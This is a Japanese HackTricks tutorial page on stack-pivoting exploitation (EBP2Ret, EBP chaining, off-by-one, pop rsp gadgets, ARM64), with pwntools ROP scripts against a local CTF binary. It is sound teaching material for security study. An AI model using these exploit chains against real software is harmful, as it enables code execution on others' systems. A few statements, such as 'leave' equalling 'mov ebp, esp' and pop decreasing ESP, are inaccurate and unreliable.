スタックピボッティング - EBP2Ret - EBPチェイニング
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
この技術は、**ベースポインタ(EBP)を操作する能力を利用して、EBPレジスタとleave; ret
**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。
念のため、**leave
**は基本的に次の意味です:
mov ebp, esp
pop ebp
ret
And as the EBPはスタックにある EIPの前に、スタックを制御することでそれを制御することが可能です。
EBP2Ret
この技術は、EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合に特に有用です。これは、関数が実行を終了する際の動作を利用します。
fvuln
の実行中に、シェルコードのアドレスがあるメモリの領域を指す偽のEBPをスタックに注入することに成功すれば(pop
操作のために4バイトを加算)、EIPを間接的に制御できます。fvuln
が戻ると、ESPはこの作成された位置に設定され、その後のpop
操作はESPを4減少させ、実質的に攻撃者がそこに保存したアドレスを指すことになります。
ここで2つのアドレスを知っておく必要があります: ESPが移動するアドレスと、ESPが指すアドレスを書き込む必要があるアドレスです。
Exploit Construction
まず、任意のデータ/アドレスを書き込むことができるアドレスを知っておく必要があります。ESPはここを指し、最初のret
を実行します。
次に、任意のコードを実行するために使用されるret
のアドレスを知っておく必要があります。以下のように使用できます:
- 有効なONE_GADGETアドレス。
system()
のアドレスの後に4バイトのゴミデータと"/bin/sh"
のアドレス(x86ビット)。jump esp;
ガジェットのアドレス(ret2esp)の後に実行するシェルコード。- 一部のROPチェーン。
これらのアドレスの前には、制御されたメモリ部分に**4
バイトが必要です。これはpop
部分のleave
命令のためです。これらの4バイトを悪用して2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。
Off-By-One Exploit
この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、EBPの最下位バイトのみを変更できる場合に使用されます。この場合、**ret
**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトを共有する必要があり、より制約のある条件で類似の操作が可能になります。
通常、0x00のバイトを変更してできるだけ遠くにジャンプします。
また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。
EBP Chaining
したがって、スタックのEBP
エントリに制御されたアドレスを置き、EIP
にleave; ret
のアドレスを置くことで、スタックから制御されたEBP
アドレスにESP
を移動させることが可能です。
今、**ESP
**は望ましいアドレスを指すように制御されており、次に実行される命令はRET
です。これを悪用するために、制御されたESPの場所に次のものを配置することが可能です:
&(次の偽EBP)
->leave
命令からのpop ebp
により新しいEBPをロードsystem()
->ret
によって呼び出される&(leave;ret)
-> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始&("/bin/sh")
->system
のパラメータ
基本的に、この方法で複数の偽EBPを連鎖させてプログラムのフローを制御することが可能です。
これはret2libのようなものですが、明らかな利点はなく、いくつかのエッジケースでは興味深いかもしれません。
さらに、ここにこの技術を使用したチャレンジの例があります。これはスタックリークを使用して勝利関数を呼び出します。これはページからの最終的なペイロードです:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBPは使用されない可能性がある
この投稿で説明されているように、バイナリがいくつかの最適化でコンパイルされている場合、EBPはESPを制御することができません。したがって、EBPを制御することによって機能するエクスプロイトは基本的に失敗します。なぜなら、それには実際の効果がないからです。
これは、バイナリが最適化されるとプロローグとエピローグが変更されるためです。
- 最適化されていない:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 最適化された:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
RSPを制御する他の方法
pop rsp
ガジェット
このページでは、この技術を使用した例を見つけることができます。このチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、pop rsp
ガジェットがあり、スタックからのリークがあります:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp ガジェット
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2espテクニックについてはここを確認してください:
参考文献と他の例
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンのエクスプロイト
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64ビット、relroなし、canary、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックリークを取得し、WWWを使用して戻り、pieリークを取得します。その後、WWWを使用して
.fini_array
エントリを悪用した永続ループを作成し、__libc_csu_fini
を呼び出します(こちらに詳細)。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットを呼び出します。
ARM64
ARM64では、関数のプロローグとエピローグはスタック内のSPレジスタを保存および取得しません。さらに、**RET
命令はSPが指すアドレスに戻るのではなく、x30
**内のアドレスに戻ります。
したがって、デフォルトでは、エピローグを悪用するだけではSPレジスタを制御することはできません。スタック内のデータを上書きしても、SPを制御できたとしても、x30
レジスタを制御する方法が必要です。
- プロローグ
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FPはフレームレコードを指します
- エピローグ
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64でスタックピボティングに似たことを実行する方法は、SP
を制御すること(SP
に渡される値を持つレジスタを制御するか、何らかの理由でSP
がスタックからアドレスを取得し、オーバーフローが発生する場合)であり、その後、エピローグを悪用して**制御されたSP
からx30
レジスタをロードし、RET
**することです。
また、次のページではARM64におけるRet2espの同等物を見ることができます:
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。